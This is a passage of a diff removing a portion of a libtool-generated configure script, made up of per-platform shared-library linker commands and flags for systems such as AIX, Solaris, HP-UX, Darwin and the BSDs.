- tmp_addflag=' -i_dynamic -nofor_main' ;;
- ifc* | ifort*) # Intel Fortran compiler
- tmp_addflag=' -nofor_main' ;;
- esac
- archive_cmds='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-
- if test $supports_anon_versioning = yes; then
- archive_expsym_cmds='$echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- $echo "local: *; };" >> $output_objdir/$libname.ver~
- $CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
- fi
- else
- ld_shlibs=no
- fi
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
- solaris*)
- if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
- ld_shlibs=no
- cat <<EOF 1>&2
-
-*** Warning: The releases 2.8.* of the GNU linker cannot reliably
-*** create shared libraries on Solaris systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.9.1 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-EOF
- elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
- case `$LD -v 2>&1` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.1[0-5].*)
- ld_shlibs=no
- cat <<_LT_EOF 1>&2
-
-*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
-*** reliably create shared libraries on SCO systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.16.91.0.3 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-_LT_EOF
- ;;
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- hardcode_libdir_flag_spec='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`'
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname,-retain-symbols-file,$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
- ;;
- esac
- ;;
-
- sunos4*)
- archive_cmds='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- wlarc=
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- ;;
-
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
- ;;
- esac
-
- if test "$ld_shlibs" = no; then
- runpath_var=
- hardcode_libdir_flag_spec=
- export_dynamic_flag_spec=
- whole_archive_flag_spec=
- fi
- else
- # PORTME fill in a description of your system's linker (not GNU ld)
- case $host_os in
- aix3*)
- allow_undefined_flag=unsupported
- always_export_symbols=yes
- archive_expsym_cmds='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
- # Note: this linker hardcodes the directories in LIBPATH if there
- # are no directories specified by -L.
- hardcode_minus_L=yes
- if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
- # Neither direct hardcoding nor static linking is supported with a
- # broken collect2.
- hardcode_direct=unsupported
- fi
- ;;
-
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- export_symbols_cmds='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- else
- export_symbols_cmds='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- fi
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[23]|aix4.[23].*|aix5*)
- for ld_flag in $LDFLAGS; do
- if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
- aix_use_runtimelinking=yes
- break
- fi
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- archive_cmds=''
- hardcode_direct=yes
- hardcode_libdir_separator=':'
- link_all_deplibs=yes
-
- if test "$GCC" = yes; then
- case $host_os in aix4.[012]|aix4.[012].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- hardcode_direct=yes
- else
- # We have old collect2
- hardcode_direct=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- hardcode_minus_L=yes
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_libdir_separator=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- always_export_symbols=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- hardcode_libdir_flag_spec='${wl}-R $libdir:/usr/lib:/lib'
- allow_undefined_flag="-z nodefs"
- archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- no_undefined_flag=' ${wl}-bernotok'
- allow_undefined_flag=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- whole_archive_flag_spec='$convenience'
- archive_cmds_need_lc=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- amigaos*)
- archive_cmds='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_minus_L=yes
- # see comment about different semantics on the GNU ld section
- ld_shlibs=no
- ;;
-
- bsdi[45]*)
- export_dynamic_flag_spec=-rdynamic
- ;;
-
- cygwin* | mingw* | pw32*)
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
- hardcode_libdir_flag_spec=' '
- allow_undefined_flag=unsupported
- # Tell ltmain to make .lib files, not .a files.
- libext=lib
- # Tell ltmain to make .dll files, not .so files.
- shrext_cmds=".dll"
- # FIXME: Setting linknames here is a bad hack.
- archive_cmds='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames='
- # The linker will automatically build a .lib file if we build a DLL.
- old_archive_From_new_cmds='true'
- # FIXME: Should let the user specify the lib program.
- old_archive_cmds='lib /OUT:$oldlib$oldobjs$old_deplibs'
- fix_srcfile_path='`cygpath -w "$srcfile"`'
- enable_shared_with_static_runtimes=yes
- ;;
-
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[012])
- allow_undefined_flag='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- allow_undefined_flag='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[012])
- allow_undefined_flag='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- allow_undefined_flag='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- archive_cmds_need_lc=no
- hardcode_direct=no
- hardcode_automatic=yes
- hardcode_shlibpath_var=unsupported
- whole_archive_flag_spec=''
- link_all_deplibs=yes
- if test "$GCC" = yes ; then
- output_verbose_link_cmd='echo'
- archive_cmds='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- module_cmds='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- archive_cmds='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- module_cmds='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- ld_shlibs=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_shlibpath_var=no
- ;;
-
- freebsd1*)
- ld_shlibs=no
- ;;
-
- # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
- # support. Future versions do this automatically, but an explicit c++rt0.o
- # does not break anything, and helps significantly (at the cost of a little
- # extra space).
- freebsd2.2*)
- archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- ;;
-
- # Unfortunately, older versions of FreeBSD 2 do not have this feature.
- freebsd2*)
- archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct=yes
- hardcode_minus_L=yes
- hardcode_shlibpath_var=no
- ;;
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | kfreebsd*-gnu | dragonfly*)
- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- ;;
-
- hpux9*)
- if test "$GCC" = yes; then
- archive_cmds='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
- hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator=:
- hardcode_direct=yes
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L=yes
- export_dynamic_flag_spec='${wl}-E'
- ;;
-
- hpux10*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator=:
-
- hardcode_direct=yes
- export_dynamic_flag_spec='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L=yes
- fi
- ;;
-
- hpux11*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- case $host_cpu in
- hppa*64*)
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
- case $host_cpu in
- hppa*64*)
- archive_cmds='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_libdir_flag_spec_ld='+b $libdir'
- hardcode_direct=no
- hardcode_shlibpath_var=no
- ;;
- *)
- hardcode_direct=yes
- export_dynamic_flag_spec='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L=yes
- ;;
- esac
- fi
- ;;
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
- fi
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator=:
- link_all_deplibs=yes
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out
- else
- archive_cmds='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF
- fi
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- ;;
-
- newsos6)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct=yes
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator=:
- hardcode_shlibpath_var=no
- ;;
-
- openbsd*)
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
- hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
- export_dynamic_flag_spec='${wl}-E'
- else
- case $host_os in
- openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*)
- archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- ;;
- *)
- archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
- ;;
- esac
- fi
- ;;
-
- os2*)
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_minus_L=yes
- allow_undefined_flag=unsupported
- archive_cmds='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
- old_archive_From_new_cmds='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
- ;;
-
- osf3*)
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- allow_undefined_flag=' -expect_unresolved \*'
- archive_cmds='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- fi
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator=:
- ;;
-
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
- archive_cmds='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~
- $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~$rm $lib.exp'
-
- # Both c and cxx compiler support -rpath directly
- hardcode_libdir_flag_spec='-rpath $libdir'
- fi
- hardcode_libdir_separator=:
- ;;
-
- solaris*)
- no_undefined_flag=' -z text'
- if test "$GCC" = yes; then
- wlarc='${wl}'
- archive_cmds='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp'
- else
- wlarc=''
- archive_cmds='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags'
- archive_expsym_cmds='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp'
- fi
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_shlibpath_var=no
- case $host_os in
- solaris2.[0-5] | solaris2.[0-5].*) ;;
- *)
- # The compiler driver will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl, iff we do not link with $LD.
- # Luckily, gcc supports the same syntax we need for Sun Studio.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- case $wlarc in
- '')
- whole_archive_flag_spec='-z allextract$convenience -z defaultextract' ;;
- *)
- whole_archive_flag_spec='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract' ;;
- esac ;;
- esac
- link_all_deplibs=yes
- ;;
-
- sunos4*)
- if test "x$host_vendor" = xsequent; then
- # Use $CC to link under sequent, because it throws in some extra .o
- # files that make .init and .fini sections work.
- archive_cmds='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags'
- fi
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_direct=yes
- hardcode_minus_L=yes
- hardcode_shlibpath_var=no
- ;;
-
- sysv4)
- case $host_vendor in
- sni)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct=yes # is this really true???
- ;;
- siemens)
- ## LD is ld it makes a PLAMLIB
- ## CC just makes a GrossModule.
- archive_cmds='$LD -G -o $lib $libobjs $deplibs $linker_flags'
- reload_cmds='$CC -r -o $output$reload_objs'
- hardcode_direct=no
- ;;
- motorola)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct=no #Motorola manual says yes, but my tests say they lie
- ;;
- esac
- runpath_var='LD_RUN_PATH'
- hardcode_shlibpath_var=no
- ;;
-
- sysv4.3*)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var=no
- export_dynamic_flag_spec='-Bexport'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var=no
- runpath_var=LD_RUN_PATH
- hardcode_runpath_var=yes
- ld_shlibs=yes
- fi
- ;;
-
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7*)
- no_undefined_flag='${wl}-z,text'
- archive_cmds_need_lc=no
- hardcode_shlibpath_var=no
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- no_undefined_flag='${wl}-z,text'
- allow_undefined_flag='${wl}-z,nodefs'
- archive_cmds_need_lc=no
- hardcode_shlibpath_var=no
- hardcode_libdir_flag_spec='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- hardcode_libdir_separator=':'
- link_all_deplibs=yes
- export_dynamic_flag_spec='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
